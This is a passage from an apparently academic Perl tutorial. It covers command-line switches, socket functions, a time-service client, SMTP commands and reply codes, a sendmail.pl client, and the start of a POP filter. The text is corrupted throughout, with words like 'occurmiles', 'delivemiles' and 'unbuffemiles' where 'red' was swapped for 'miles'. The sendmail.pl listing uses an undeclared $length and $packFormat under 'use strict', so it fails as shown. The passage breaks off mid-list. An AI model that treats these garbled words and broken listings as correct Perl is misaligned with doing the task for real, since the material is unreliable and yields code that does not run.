The `-0` option will let you change the record separator. This is useful if your records are separated by something other than a newline. Let's use the example of input records separated by a dash instead of a newline. First, you need to find out the octal value of the dash character. The easy way to do this is to covert from the decimal value, which will be displayed if you run the following command line.

```
perl -e "print ord('-');"
```

This program will display `45`. Converting 45_{10} into octal results in 55_8.

Next, you'll need an input file to practice with the following data held in a test file:

```
Veterinarian-Orthopedist-Dentist-
```

A program that reads the above data file using the diamond operators is now developed:

- The program will use the dash character as an end-of-line indicator.
- We set the record separator to be a dash using the #! switch setting method.
- Open a file for input.
- Read all of the records into the *`@lines`* array.
- One element in *`@lines`* will be one record.
- Close the file.
- Iterate over the *`@lines`* array and print each element.

The Perl code is:

```
#!perl -0055

open(FILE, "<test.dat");

@lines = <FILE>;

close(FILE);

foreach (@lines) {

    print("$_\n");
}
```

Hint Instead of using the command-line option, you could also say `$/ = "-";`. Using the command line is a better option if the line ending changes from input file to input file.

This program will display:

```
Veterinarian-
Orthopedist-
Dentist-
```

Notice that the end-of-line indicator is left as part of the record. This behavior also happens when the newline is used as the end-of-line indicator. You can use `chop()` or `chomp()` to remove the dash, if needed.

---

 dave@cs.cf.ac.uk

Using the `-n` and `-p` Options

The `-n` and `-p` options wrap your script inside loops. Before looking at specific examples, let's see what the loops look like and how they are changed by the `-a` and `-F` options.

The `-n` option causes Perl to execute your script inside the following loop:

```
while (<>) {

    # your script

}
```

The `-p` option uses the same loop, but adds a `continue` block so that `$_` will be printed every time through the loop. If both `-n` and `-p` are specified on the command line, the `-p` option will take precedence. The loop looks like this:

```
while (<>) {

    # your script

} continue {

    print;

}
```

The `-a` option adds a `split()` function call to the beginning of each iteration of the loop so that the loop looks like this:

```
while (<>) {

    @F = split(/ /);

    # your script

}
```

The `-F` option lets you split on something besides the space character. If you used `-F/i+/` on the command line, the loop would look like this:

```
while (<>) {
```

```
    @F = split(/i+/);

    # your script

}
```

You can use `BEGIN` and `END` blocks if you need to specify some initialization or cleanup code. The initialization section might be used to create objects or to open log files. The cleanup section can be used to display statistics or close files. For example,

```
BEGIN {

    # initialization section

    $count = 0;

}



while (<>) {

    # your script

}



END {

    # cleanup section

    print("The count was $count.\n");

}
```

Next, you'll see some examples of these options in action. Let's start with a command line that simply displays each line of the input file-like the `type` command in DOS and UNIX.

Let the file `test.dat` contain the following:

```
David Veterinarian
John Orthopedist
Jeff Dentist
```

Then the command line may be formed:

```
perl -p -e "1;" test.dat
```

This command line is equivalent to:

```
while (<>) {

    1;

} continue {

    print;

}
```

Note The `1;` statement was used to give Perl something to process. Otherwise, Perl would not have had any statements to execute.

And will display:

```
David Veterinarian
John Orthopedist
Jeff Dentist
```

How about just printing the first word of each line? You could use this command line:

```
perl -p -e "s/\s*(\w+).*/$1/;" test.dat
```

which is equivalent to:

```
while (<>) {

    s/\s*(\w+).*/$1/;

} continue {

    print;

}
```

And will display:

```
David
John
Jeff
```

If you have data files that store information in columns, you can pull out the second column of information like this:

```
perl -p -e "s/\s*.+\s(.+)\s*/$1\n/;" test.datpar
```

which will display:

```
Veterinarian
```

```
Orthopedist
Dentist
```

You can use the `-a` option to get access to information stored in columns. For example, you could also display the second column like this:

```
perl -p -a -e "$_ = \"$F[1]\n\";" test.dat
```

which is equivalent to

```
 while (<>) {

    @F = split(/ /);

    $_ = \"$F[1]\n\";

} continue {

    print;

}
```

Notice that you need to escape the double-quotes in the above command line. If you don't do this you will get an error message.

---

dave@cs.cf.ac.uk

Using the `-i` Option

The `-i` option lets you modify files in-place. This means that Perl will automatically rename the input file and open the output file using the original name. You can force Perl to create a backup file by specifying a file extension for the backup file immediately after the `-i`. For example, `-i.bak`. If no extension is specified, no backup file will be kept.

One of the more popular uses for the `-i` option is to change sequences of characters. This kind of change normally requires 10 or more lines of code. However, using command-line options you can do it like this:

```
perl -p -i.bak -e "s/harry/tom/g;" test.dat
```

This command-line will change all occurrences of "harry" to "tom" in the `test.dat` file.

---

dave@cs.cf.ac.uk

Using the `-s` Option

The `-s` option lets you create your own custom switches. Custom switches are placed after the script name but before any filename arguments. Any custom switches are removed from the `@ARGV` array. Then a scalar variable is named after the switch is created and initialized to 1. For example, let's say that you want to use a switch called `-useTR` in a script like the one below:

```
if ($useTR) {

    # do TR processing.

    print "useTR=$useTR\n";

}
```

You might execute this program using this following command line:

```
perl -s -w 17lst03.pl -useTR
```

and it would display:

```
useTR=1
```

---

dave@cs.cf.ac.uk

Summary

This chapter covered the different command-line options that you can use with Perl. The options can also be referred to as switches because they turn different behaviors on and off.

The switches can be specified on the command line or using the #! line inside your script. If you use the #! line, try to place the options after the 32nd position to avoid inconsistent handling by different versions of UNIX.

The `-n` option is used to place your script inside of an input loop. The `-p` option uses the same loop, but also prints the `$_` variable after each pass through the loop. The `-a` and `-F` options are used when you want the input lines to be split into the `@F` array.

Another very useful option is `-i`, which lets you edit files in-place. This option is good when you are doing a lot of text file manipulation.

---

dave@cs.cf.ac.uk

Networking with Perl

One of the reasons the Internet has blossomed so quickly is because everyone can understand the *protocols* that are spoken on the net. A protocol is a set of commands and responses. There are two layers of protocols that I'll mention here. The low-level layer is called TCP/IP and while it is crucial to the Internet, we can effectively ignore it. The high-level protocols like ftp, smtp, pop, http, and telnet are what you'll read about in this chapter. They use TCP/IP as a facilitator to communicate between computers. The protocols all have the same basic pattern:

- Begin a Conversation -- Your computer (the client) starts a conversation with another computer (the server).
- Hold a Conversation -- During the conversation, commands are sent and acknowledged.
- End a Conversation -- The conversation is terminated.

Figure 18.1 illustrates the protocol for sending mail. The end-user creates a mail message and then the sending system uses the mail protocol to hold a conversation with the receiving system.

Network Protocol Communications Model

Internet conversations are done with sockets, in a manner similar to using the telephone or shouting out a window. I won't kid you, sockets are a complicated subject. They are discussed in the "Sockets" section that follows. Fortunately, you only have to learn about a small subset of the socket functionality in order to use the high-level protocols.

A list of the high-level protocols that you can use is given below with the protocol number in brackets. (We will not be able to cover them all here, but if you'd like to investigate further, the protocols are detailed in documents at the **http://ds.internic.net/ds/dspg0 intdoc.html** Web site.)

auth

(113) -- Authentication

echo

(7) -- Checks server to see if they are running

finger

(79) -- Lets you retrieve information about a user

ftp

(21) -- File Transfer Protocol

nntp

(119) -- Network News Transfer Protocol: Usenet News Groups

pop

(109) -- Post Office Protocol - incoming mail

smtp

(25) -- Simple Mail Transfer Protocol: outgoing mail

time

(37) -- Time Server

telnet

(23) -- Lets you connect to a host and use it as if you were a directly connected terminal

Each protocol is also called a service. Hence the term, mail server or ftp server. Underlying all of the high-level protocols is the very popular Transfer Control Protocol/Internet Protocol or TCP/IP. You don't need to know about TCP/IP in order to use the high-level protocols. All you need to know is that TCP/IP enables a server to *listen* and respond to an incoming conversation. Incoming conversations arrive at something called a port. A *Port* is an imaginary place where incoming packets of information can arrive (just like a ship arrives at a sea port). Each type of service (for example, mail or file transfer) has its own port number.

If you have access to a UNIX machine, look at the `/etc/services` file for a list of the services and their assigned port numbers. Users of Windows 95-and, I suspect Windows NT-can look in \windows\services.

In this chapter, we take a quick look at sockets, and then turn our attention to examples that use them. You see how to send and receive mail. Sending mail is done using the Simple Mail Transfer Protocol (SMTP). Receiving mail is done using the Post Office Protocol (POP).

- Sockets
- Clients and Servers
  - The Server Side of a Conversation
  - The Client Side of a Conversation
- Some Network Examples
  - Using the Time Service
  - Sending Mail (SMTP)
    - The `MAIL` Command
    - The `RCPT` Command
    - The `DATA` Command
    - Reporting Undeliverable Mail
    - Using Perl to Send Mail
- Receiving Mail (POP)
  - Checking for Upness (Echo)
- Transferring Files (FTP)
  - The World Wide Web (HTTP)

Sockets

Sockets are the low-level links that enable Internet conversations and many other network services. There are a many functions that deal with sockets. Fortunately, you don't normally need to deal with them all. A small subset is all you need to get started. This section will focus in on those aspects of sockets that are useful in Perl. There will be whole areas of sockets that are not dealt with here.

A small selection of useful Perl socket functions is given below:

accept(NEWSOCKET, SOCKET)

-- Accepts a socket connection from clients waiting for a connection. The original socket, `SOCKET`, is left along, and a new socket is created for the remote process to talk with. `SOCKET` must have already been opened using the `socket()` function. Returns true if it succeeded, false otherwise.

bind(SOCKET, PACKED_ADDRESS)

-- Binds a network address to the socket handle. Returns true if it succeeded, false otherwise.

connect(SOCKET, PACKED_ADDRESS)

-- Attempts to connect to a socket. Returns true if it succeeded, false otherwise. getpeername(SOCKET)Returns the packed address of the remote side of the connection. This function can be used to reject connections for security reasons, if needed.

getsockname(SOCKET)

-- Returns the packed address of the local side of the connection.

getsockopt(SOCKET, LEVEL, OPTNAME)

-- Returns the socket option requested, or undefined if there is an error.

listen(SOCKET, QUEUESIZE)

-- Creates a queue for `SOCKET` with `QUEUESIZE` slots. Returns true if it succeeded, false otherwise.

recv(SOCKET, BUFFER, LEN, FLAGS)

-- Attempts to receive `LENGTH` bytes of data into a buffer from `SOCKET`. Returns the address of the sender, or the undefined value if there's an error. `BUFFER` will be grown or shrunk to the length actually read. However, you must initalize BUFFER before use. For example `my($buffer) = '';`.

select(RBITS, WBITS, EBITS, TIMEOUT)

-- Examines file descriptors to see if they are ready or if they have exception conditions pending.

send(SOCKET, BUFFER, FLAGS, [TO])

-- Sends a message to a socket. On unconnected sockets you must specify a destination (the `TO` parameter). Returns the number of characters sent, or the undefined value if there is an error.

setsockopt(SOCKET, LEVEL, OPTNAME, OPTVAL)

-- Sets the socket option requested. Returns undefined if there is an error. `OPTVAL` may be specified as undefined if you don't want to pass an argument.

shutdown(SOCKET, HOW)

-- Shuts down a socket connection in the manner indicated by HOW. If `HOW` = 0, all incoming information will be ignomiles. If `HOW` = 1, all outgoing information will be stopped. If `HOW` = 2, then both sending and receiving is disallowed.

socket(SOCKET, DOMAIN,TYPE, PROTOCOL)

-- Opens a specific `TYPE` of socket and attaches it to the name `SOCKET`. Returns true if successful, false if not.

socketpair(SOCK1, SOCK2, DOMAIN, TYPE, PROTO)

- Creates an unnamed pair of sockets in the specified domain, of the specified type. Returns true if successful, false if not.

Note

If you are interested in knowing everything about sockets, you need to get your hands on some UNIX documentation. The Perl set of socket functions are pretty much a duplication of those available using the C language under UNIX. Only the parameters are different because Perl data structures are handled differently. You can find UNIX documentation at **http://www.delorie.com/gnu/docs/** on the World Wide Web.

---

dave@cs.cf.ac.uk

Clients and Servers

Programs that use sockets inherently use the client-server paradigm. One program creates a socket (the server) and another connects to it (the client). The next couple of sections will look at both server programs and client programs.

- The Server Side of a Conversation
- The Client Side of a Conversation

---

dave@cs.cf.ac.uk

The Server Side of a Conversation

Basic server communication is established as follows:

- Server programs will use the `socket()` function to create a socket;
- `bind()` to give the socket an address so that it can be found;
- `listen()` to see if anyone wants to talk; and
- `accept()` to start the conversation.
- Then `send()` and `recv()` functions can be used to hold the conversation.
- And finally, the socket is closed with the `close()` function.

The `socket()` call in Perlwill look something like this (`basic_socket.p`):

```
$tcpProtocolNumber = getprotobyname('tcp') || 6;


socket(SOCKET, PF_INET(), SOCK_STREAM(), $tcpProtocolNumber)
    || die("socket: $!");
```

The first line gets the TCP protocol number using the `getprotobyname()` function. Some systems (*e.g.* Windows 95) do not implement this function, so a default value of 6 is provided. Then, the socket is created with `socket()`.

The socket name is `SOCKET`.

Notice that it looks just like a file handle. When creating your own sockets, the first parameter is the only thing that you should change. The rest of the function call will *always* use the same last three parameters shown above. The actual meaning of the three parameters is unimportant at this stage. If you are curious, please refer to the UNIX documentation previously mentioned.

Socket names exist in their own namespace. Actually, there are several pre-defined namespaces that you can use. The namespaces are called *protocol families* because the namespace controls how a socket connects to the world outside your process. For example, the `PF_INET` namespace used in the `socket()` function call above is used for the Internet.

Once the socket is created, you need to bind it to an address with the `bind()` function.

The `bind()` call might look like this (`bind.pl`):

```
$port = 20001;
$internetPackedAddress = pack('Sna4x8', AF_INET(), $port, "\0\0\0\0");


bind(SOCKET, $internetPackedAddress)
    ||die("bind: $!");
```

All Internet sockets reside on a computer with symbolic names. The server's name in conjunction with a port number makes up a socket's address. For example, `www.cs.cf.ac.uk:20001`. Symbolic names also have a number equivalent known as the dotted decimal address. For example, 131.251.42.1. Port numbers are a way of determining which socket at `www.cs.cf.ac.uk` you'd like to connect to. All port numbers below 1024 (or the symbolic constant, `IPPORT_RESERVED`) are reserved for special sockets. For example, port 37 is reserved for a time service and 25 is reserved for the smtp service. The value of 20,001 used in this example was picked at random. The only limitations are: use a value above 1024 and no two sockets on the same computer should have the same port number.

Remember: You can always refer to your own computer using the dotted decimal address of `127.0.0.1` or the symbolic name `localhost`.

The second line of this short example creates a full Internet socket address using the `pack()` function. This is another complicated topic that I will sidestep. As long as you know the port number and the server's address, you can simply plug those values into the example code and not worry about the rest. The important part of the example is the "\0\0\0\0" string. This string holds the four numbers that make up the dotted decimal Internet address. If you already know the dotted decimal address, convert each number to octal and replace the appropriate \0 in the string.

If you know the symbolic name of the server instead of the dotted decimal address, use the following line to create the packed Internet address:

```
$internetPackedAddress = pack('S n A4 x8', AF_INET(), $port,
gethostbyname('www.remotehost.com'));
```

After the socket has been created and an address has been bound to it, you need to create a queue for the socket. This is done with the `listen()` function.

The `listen()` call looks like this:

```
listen(SOCKET, 5) || die("listen: $!");
```

This `listen()` statement will create a queue that can handle 5 remote attempts to connect. The sixth attempt will fail with an appropriate error code.

Now that the socket exists, has an address, and has a queue, your program is ready to begin a conversation using the `accept()` function. The `accept()` function makes a copy of the socket and starts a conversation with the new socket. The original socket is still available and able to accept connections. You can use the `fork()` function, in UNIX, to create child processes to handle multiple conversations. The normal `accept()` function call looks like this:

```
$addr = accept(NEWSOCKET, SOCKET) or die("accept: $!");
```

Now that the conversation has been started, use `print()`, `send()`, `recv()`, `read()`, or `write()` to hold the conversation. The examples later in the chapter show how the conversations are held.

The Client Side of a Conversation

Basic clinet connection to a server is established as follows:

- Client programs will use `socket()` to create a socket and
- `connect()` to initiate a connection to a server's socket.
- Then input/output functions are used to hold a conversation.
- Finally the `close()` function closes the socket.

The `socket()` call for the client program is the same as that used in the server, `client.pl`:

```
$tcpProtocolNumber = getprotobyname('tcp') || 6;
socket(SOCKET, PF_INET(), SOCK_STREAM(), $tcpProtocolNumber)
    || die("socket: $!");
```

After the socket is created, the `connect()` function is called like this, `connect.pl`:

```
$port = 20001;
$internetPackedAddress = pack('Sna4x8', AF_INET(), $port, "\0\0\0\0");


connect(SOCKET, $internetPackedAddress) or die("connect: $!");
```

The packed address was explained in "The Server Side of a Conversation." The `SOCKET` parameter has no relation to the name used on the server machine. I use `SOCKET` on both sides for convenience.

The `connect()` function is a *blocking* function. This means that it will wait until the connection is completed. You can use the `select()` function to set non-blocking mode, but you'll need to look in the UNIX documentation to find out how. It's a bit complicated to explain here.

After the connection is made, you use the normal input/output functions or the `send()` and `recv()` functions to talk with the server.

---

dave@cs.cf.ac.uk

Using the Time Service

It is very important that all computers on a given network report the same time. This allows backups and other regularly scheduled events to be automated. Instead of manually adjusting the time on every computer in the network, you can designate a time server. The other computers can use the time server to determine the correct time and adjust their own clocks accordingly.

The code below, `time.pl`, contains a program that can retrieve the time from any time server in the world.

- All you need to do is modify the example to access your own time server by setting the `$remoteServer` variable to your server's symbolic name.

The basic operation of the code is as follows:

- Turn on the warning compiler option. Load the *`Socket`* module.
- Turn on the strict pragma.
- Initialize the *`$remoteServer`* to the symbolic name of the time server.
- Set a variable equal to the number of seconds in 70 years. Initialize a buffer variable, *`$buffer`*.
- Declare *`$socketStructure`*.
- Declare *`$serverTime`*.
- Get the tcp protocol and time port numbers, provide a default in case the *`getprotobyname()`* and *`getservbyname()`* functions are notimplemented.
- Initialize *`$serverAddr`* with the Internet address of the time server.
- Display the current time on the local machine, also called the localhost.
- Create a socket using the standard parameters. Initialize *`$packedFormat`* with format specifiers.
- Connect the local socket to the remote socket that is providing the time service.
- Read the server's time as a 4 byte value.
- Close the local socket.
- Unpack the network address from a long (4 byte) value into a string value.
- Adjust the server time by the number of seconds in 70 years.
- Display the server's name, the number of seconds difference between the remote time and the local time.
- Declare the *`ctime()`* function.
- Return a string reflecting the time represented by the parameter.

The perl code for `time.pl` is as follows:

```
#!/usr/bin/perl  -w
```

```
use Socket;
use strict;


my($remoteServer)     = 'time.server.net';


my($secsIn70years)    = 2208988800;
my($buffer)           = '';
my($socketStructure);
my($serverTime);


my($proto)      = getprotobyname('tcp')        || 6;
my($port)       = getservbyname('time', 'tcp') || 37;


my($serverAddr) = (gethostbyname($remoteServer))[4];


printf("%-20s %8s %s\n",  "localhost", 0, ctime(time()));


socket(SOCKET, PF_INET, SOCK_STREAM, $proto)
    or die("socket: $!");


my($packFormat) = 'S n a4 x8';   # Windows 95, SunOs 4.1+
#my($packFormat) = 'S n c4 x8';   # SunOs 5.4+ (Solaris 2)
connect(SOCKET, pack($packFormat, AF_INET(), $port, $serverAddr))
    or die("connect: $!");


read(SOCKET, $buffer, 4);
close(SOCKET);


$serverTime  = unpack("N", $buffer);
$serverTime -= $secsIn70years;


printf("%-20s %8d %s\n", $remoteServer, $serverTime - time,
    ctime($serverTime));


sub ctime {
    return(scalar(localtime($_[0])));
```

```
}
```

Each operating system will have a different method to update the local time. So this needs to configures at your end -- good luck!!

---

dave@cs.cf.ac.uk

Sending Mail (SMTP)

Before you send mail, the entire message needs to be composed. You need to know where it is going, who gets it, and what the text of the message is. When this information has been gathemiles, you begin the process of transferring the information to a mail server.

Note: The mail service will be listening for your connection on TCP port 25. But this information will not be important until you see some Perl code later in the chapter.

The message that you prepare can only use alphanumeric characters. If you need to send binary information (like files), use the MIME protocol. The details of the MIME protocol can be found at the

`http://ds.internic.net/ds/dspg0intdoc.html`

Web site.

SMTP uses several commands to communicate with mail servers. These commands are described below.

Note: The commands are *not* case sensitive, which means you can use either Mail or MAIL. However, remember that mail addresses **are** case sensitive.

The basic SMTP commands are:

HELO

-- Initiates a conversation with the mail server. When using this command you can specify your domain name so that the mail server knows who you are. For example, `HELO mailhost2. cf.ac.uk`.

MAIL

-- Indicates who is sending the mail. For example,

`MAIL FROM: <dave@cs.cf.ac.uk>`.

Remember this is not going to be *your* name -- it's the name of the person who is sending the mail message. Any returned mail will be sent back to this address.

RCPT

-- Indicates who is recieving the mail. For example,

`RCPT TO: <user@email.com>`. You can indicate more than one user by issuing multiple `RCPT` commands.

DATA

-- Indicates that you are about to send the text (or body) of the message. The message text must end with the following five letter sequence: "\r\n.\r\n."

QUIT

-- Indicates that the conversation is over.

EXPN

-- Indicates that you are using a mailing list.

HELP

-- Asks for help from the mail server.

NOOP

-- Does nothing other than get a reponse from the mail server. `RSET`Aborts the current conversation.

SEND

-- Sends a message to a user's terminal instead of a mailbox.

SAML

-- Sends a message to a user's terminal and to a user's mailbox.

SOML

-- Sends a message to a user's terminal if they are logged on; otherwise, sends the message to the user's mailbox.

TURN

-- Reverses the role of client and server. This might be useful if the client program can also act as a server and needs to receive mail from the remote computer.

VRFY

-- Verifies the existence and user name of a given mail address. This command is not implemented in all mail servers. And it can be blocked by firewalls.

Every command will receive a reply from the mail server in the form of a three digit number followed by some text describing the reply. For example,

```
250 OK
```

or

```
500 Syntax error, command unrecognized.
```

The complete list of reply codes is shown below: (you'll never see most of them if you program your mail server correctly!!)

211

-- A system status or help reply.

214

-- Help Message.

220

-- The server is ready.

221

-- The server is ending the conversation.

250

-- The requested action was completed.

251

-- The specified user is not local, but the server will forward the mail message.

354

-- This is a reply to the `DATA` command. After getting this, start sending the body of the mail message, ending with "\r\n.\r\n."

421

-- The mail server will be shut down. Save the mail message and try again later.

450

-- The mailbox that you are trying to reach is busy. Wait a little while and try again.

451

-- The requested action was not done. Some error occurmiles in the mail server.

452

-- The requested action was not done. The mail server ran out of system storage.

500

-- The last command contained a syntax error or the command line was too long.

501

-- The parameters or arguments in the last command contained a syntax error.

502

-- The mail server has not implemented the last command.

503

-- The last command was sent out of sequence. For example, you might have sent `DATA` before sending `RECV`.

504

-- One of the parameters of the last command has not been implemented by the server.

550

-- The mailbox that you are trying to reach can't be found or you don't have access rights.

551

-- The specified user is not local; part of the text of the message will contain a forwarding address.

552

-- The mailbox that you are trying to reach has run out of space. Store the message and try again tomorrow or in a few days-after the user gets a chance to delete some messages.

553

-- The mail address that you specified was not syntactically correct.

554

-- The mail transaction has failed for unknown causes.

Now that you've seen all of the SMTP commands and reply codes, let's see what a typical mail conversation might look like. In the following conversation, the '>' lines are the SMTP commands that your program issues. The '<' lines are the mail server's replies.

```
>HELO
<250 sentinel.cs.cf.ac.uk Hello dave@cs.cf.ac.uk [X.X.X.X],pleased to meet you


>MAIL From: <(Ralph Martin)>
<250 <(Ralph Martin)>... Sender ok


>RCPT To: <dave@cs.cf.ac.uk>
<250 <dave@cs.cf.ac.uk>... Recipient ok


>DATA
<354 Enter mail, end with "." on a line by itself


>From: (Ralph Martin)
>Subject: Arrows
>This is line one.
>This is line two.
>.
<250 AAA14672 Message accepted for delivery


>QUIT
<221 sentinel.cs.cf.ac.uk closing connection
```

Some of the SMTP commands are a bit more complex than others. In the next few sections, the `MAIL`, `RCPT`, and `DATA` commands are discussed. You will also see how to react to undeliverable mail.

- The `MAIL` Command
- The `RCPT` Command
- The `DATA` Command
- Reporting Undeliverable Mail
- Using Perl to Send Mail

The `MAIL` Command

The `MAIL` command tells the mail server to start a new conversation. It's also used to let the mail server know where to send a mail message to report errors. The syntax looks like this:

```
MAIL FROM:<reverse-path>
```

If the mail server accepts the command, it will reply with a code of 250. Otherwise, the reply code will be greater than 400.

In the example shown previously

```
>MAIL From:<(dave@cs.cf.ac.uk)>

<250 <(dave@cs.cf.ac.uk)>... Sender ok
```

The reverse-path is different from the name given as the sender following the `DATA` command.

You can use this technique to give a mailing list or yourself an alias. For example, if you are maintaining a mailing list to your colleaguse, you might want the name that appears in the reader's mailer to be `'MyNickname'` instead of your own name.

The `RCPT` Command

You tell the mail server who the recipient of your message is by using the `RCPT` command. You can send more than one `RCPT` command for multiple recipients. The server will respond with a code of 250 to each command. The syntax for the `RCPT` is:

```
RCPT TO:<forward-path>
```

Only one recipient can be named per `RCPT` command. If the recipient is not known to the mail server, the response code will be 550. You might also get a response code indicating that the recipient is not local to the server. If that is the case, you will get one of two responses back from the server:

- **251 User not local; will forward to <forward-path>**-This reply means that the server will forward the message. The correct mail address is returned so that you can store it for future use.
- **551 User not local; please try <forward-path>**-This reply means that the server won't forward the message. You need to issue another `RCPT` command with the new address.

---

dave@cs.cf.ac.uk

The DATA Command

After starting the mail conversation and telling the server who the recipient or recipients are, you use the DATA command to send the body of the message. The syntax for the DATA command is very simple:

```
DATA
```

After you get the standard 354 response, send the body of the message followed by a line with a single period to indicate that the body is finished. When the end of message line is received, the server will respond with a 250 reply code.

Note The body of the message can also include several header items like Date, Subject, To, Cc, and From.

---

dave@cs.cf.ac.uk

Reporting Undeliverable Mail

The mail server is responsible for reporting undeliverable mail, so you may not need to know too much about this topic. However, this information may come in handy if you ever write/run a list service or if you send a message from a temporary account.

An endless loop happens when an error notification message is sent to a non-existent mailbox. The server keeps trying to send a notification message to the reverse-path specified in the `MAIL` command.

The answer to this dilemma is to specify an empty reverse path in the `MAIL` command of a notification message like this:

```
MAIL FROM:<>
```

An entire mail session that delivers an error notification message might look like the following:

```
MAIL FROM:<>
250 ok
RCPT TO:<@HOST.COM@HOSTW.ARPA>
250 ok
DATA
354 send the mail data, end with .
Date: 12 May 99 10:55:51
From: dave@cs.cf.ac.uk
To: user@net.com
Subject: Problem delivering mail.


 your message to fmiles@net.com was not
delivemiles.


    net.com said this:
        "550 No Such User"
.
250 ok
```

Using Perl to Send Mail

Enough theory let's see some actual Perl code.

The `sendmail.pl` program below does just this. It' basic operation is as follows:

(Some comments have been added to indicate changes that are needed for porting to some machines)

- Turn on the warning compiler option.
- Load the *`Socket`*.
- Turn on the strict pragma.
- Initialize *`$mail To`* which holds the recipient's mail address.
- Initialize *`$mailServer`* which holds the symbolic name of your mail server.
- Initialize *`$mailFrom`* which holds the originator's mail address.
- Initialize *`$realName`* which holds the text that appears in the From header field.
- Initialize *`$subject`* which holds the text that appears in the Subject header field.
- Initialize *`$body`* which holds the text of the letter.
- Declare a signal handler for the Interrupt signal. This handler will trap users hitting Ctrl+c or Ctrl+break.
- Get the protocol number for the tcp protocol and the port number for the smtp service. *Recall:* Windows 95 and NT do not implement the *`getprotobyname()`* or *`getservbyname()`* functions so default values are supplied.
- Initialize *`$serverAddr`* with the mail server's Internet address.
- The *`$length`* variable is tested to see if it is defined, if not, then the *`gethostbyname()`* function failed.
- Create a socket called *`SMTP`* using standard parameters.
- Initialize *`$packedFormat`* with format specifiers.
- Connect the socket to the port on the mail server.
- Change the socket to use unbuffer input/output. Normally, sends and receives are stomiles in an internal buffer before being sent to your script. This line of code eliminates the buffering steps.
- Create a temporary buffer. The buffer is temporary because it is local to the block surrounded by the curly brackets.
- Read two responses from the server. Some servers send two reponses when the connection is made. Your server may only send one response -- If so, delete one of the *`recv()`* calls.
- Send the *`HELO`* command. The *`sendSMTP()`* function will take care of reading the response.
- Send the *`MAIL`* command indicating where messages that the mail server sends back (like undeliverable mail messages) should be sent.
- Send the *`RCPT`* command to specify the recipient.
- Send the *`DATA`* command.

- Send the body of the letter. Note that no reponses are received from the mail server while the letter is sent.
- Send a line containing a single period indicating that you are finished sending the body of the letter.
- Send the *QUIT* command to end the conversation.
- Close the socket.
- Define the *closeSocket()* function which will act as a signal handler.
- Close the socket.
- Call *die()* to display a message and end the script.
- Define the send *SMTP()* function.
- Get the debug parameter.
- Get the *smtp* command from the parameter array.
- Send the *smtp* command to *STDERR* if the debug parameters were true.
- Send the *smtp* command to the mail server.
- Get the mail server's response. Send the response to *STDERR* if the debug parameter were true.
- Split the response into reply code and message, and return just the reply code.

The Perl code for `sendmail.pl` is as follows:

```
#!/usr/bin/perl -w


use Socket;
use strict;


my($mailTo)     = 'dave@cs.cf.ac.uk';


my($mailServer) = 'mailhost2.cs.cf.ac.uk';


my($mailFrom)   = 'dave@cs.cf.ac.uk';
my($realName)   = "Ralph Martin";
my($subject)    = 'Test';
my($body)       = "Test Line One.\nTest Line Two.\n";


$main::SIG{'INT'} = 'closeSocket';


my($proto)      = getprotobyname("tcp")        || 6;
my($port)       = getservbyname("SMTP", "tcp") || 25;
my($serverAddr) = (gethostbyname($mailServer))[4];
```

```
if (! defined($length)) {


    die('gethostbyname failed.');
}


socket(SMTP, AF_INET(), SOCK_STREAM(), $proto)
    or die("socket: $!");


$packFormat = 'S n a4 x8';   # Windows 95, SunOs 4.1+
#$packFormat = 'S n c4 x8';   # SunOs 5.4+ (Solaris 2)


connect(SMTP, pack($packFormat, AF_INET(), $port, $serverAddr))
    or die("connect: $!");


select(SMTP); $| = 1; select(STDOUT);    # use unbuffemiles i/o.


{
    my($inpBuf) = '';


    recv(SMTP, $inpBuf, 200, 0);
    recv(SMTP, $inpBuf, 200, 0);
}


sendSMTP(1, "HELO\n");
sendSMTP(1, "MAIL From: <$mailFrom>\n");
sendSMTP(1, "RCPT To: <$mailTo>\n");
sendSMTP(1, "DATA\n");


send(SMTP, "From: $realName\n", 0);
send(SMTP, "Subject: $subject\n", 0);
send(SMTP, $body, 0);


sendSMTP(1, "\r\n.\r\n");
sendSMTP(1, "QUIT\n");


close(SMTP);
```

```
sub closeSocket {     # close smtp socket on error
    close(SMTP);
    die("SMTP socket closed due to SIGINT\n");
}


sub sendSMTP {
    my($debug)  = shift;
    my($buffer) = @_;


    print STDERR ("> $buffer") if $debug;
    send(SMTP, $buffer, 0);


    recv(SMTP, $buffer, 200, 0);
    print STDERR ("< $buffer") if $debug;


    return( (split(/ /, $buffer))[0] );
}
```

This program displays:

```
> HELO
< 250 sentinel.cs.cf.ac.uk Hello dave@miles.cs.cf.ac.uk
    [207.3.100.120], pleased to meet you
> MAIL From: <dave@cs.cf.ac.uk>
< 250 <dave@cs.cf.ac.uk>... Sender ok
> RCPT To: <mail@net.cf.ac.uk>
< 250 <mail@net.cf.ac.uk>... Recipient ok
> DATA
< 354 Enter mail, end with "." on a line by itself
>
.
< 250 TAA12656 Message accepted for delivery
> QUIT
< 221 sentinel.cs.cf.ac.uk closing connection
```

The lines in bold are the commands that were sent to the server. The body of the letter is not shown in the output.

---

dave@cs.cf.ac.uk

Receiving Mail (POP)

The flip side to sending mail is, of course, receiving it. This is done using the POP or Post Office Protocol. Since you've already read about the SMTP protocol in detail, We'll skip describing the details of the POP.

The program `pop.pl` contains a program that will *filter* your mail. It will display a report of the authors and subject line for any mail that relates to One Word, a mailing list devoted to the great jazz guitarist John Mclaughlin (*one-word@ml.ee*) . This program will not delete any mail from the server, so you can experiment with confidence.

Note Before trying to run this program, make sure that the POP3Client module (POP3Client.pm) is in the **`Mail`** subdirectory of the library directory. You may need to create the **`Mail`** subdirectory. See your system administratior if you need help placing the file into the correct directory.

You might need to modify the program for other systems -- other than windows -- On SunOS 5.4+ (Solaris 2), you'll need to change the **`POP3Client`** module to use a packing format of **`'S n c4 x8'`** instead of **`'S n a4 x8'`**. Other changes might also be needed.

The program `pop.pl` operates as follows:

- Turn on the warning compiler option.
- Load the *`POP3Client module`*.
- The *`POP3Client`* module will load the *`Socket`* module automatically.
- Turn on the *`strict`* pragma.
- Declare some variables used to temporary values.
- Define the header format for the report.
- Define the detail format for the report.
- Initialize *`$username`* to a valid username for the mail server.
- Initialize *`$password`* to a valid password for the user name.
- Create a new *`POP3Client`* object.
- Iterate over the mail messages on the server. *`$pop->Count`* holds the number of messages waiting on the server to be read.
- Initialize a flag variable. When set true, the script will have a mail message relating to *`one-word`*.
- Iterate over the headers in each mail messages. The *`Head()`* method of the *`POP3Client`* module returns the header lines one at a time in the *`$_`* variable.
- Store the author's name if looking at the From header line.
- Store the subject if looking at the Subject line.
- This is the filter test. It checks to see if the word "One-Word" is in the subject line. If so, the *`$one-word`* flag variable is set to true (or 1).

- This line is commented out; normally it would copy the text of the message into the *@body* array.
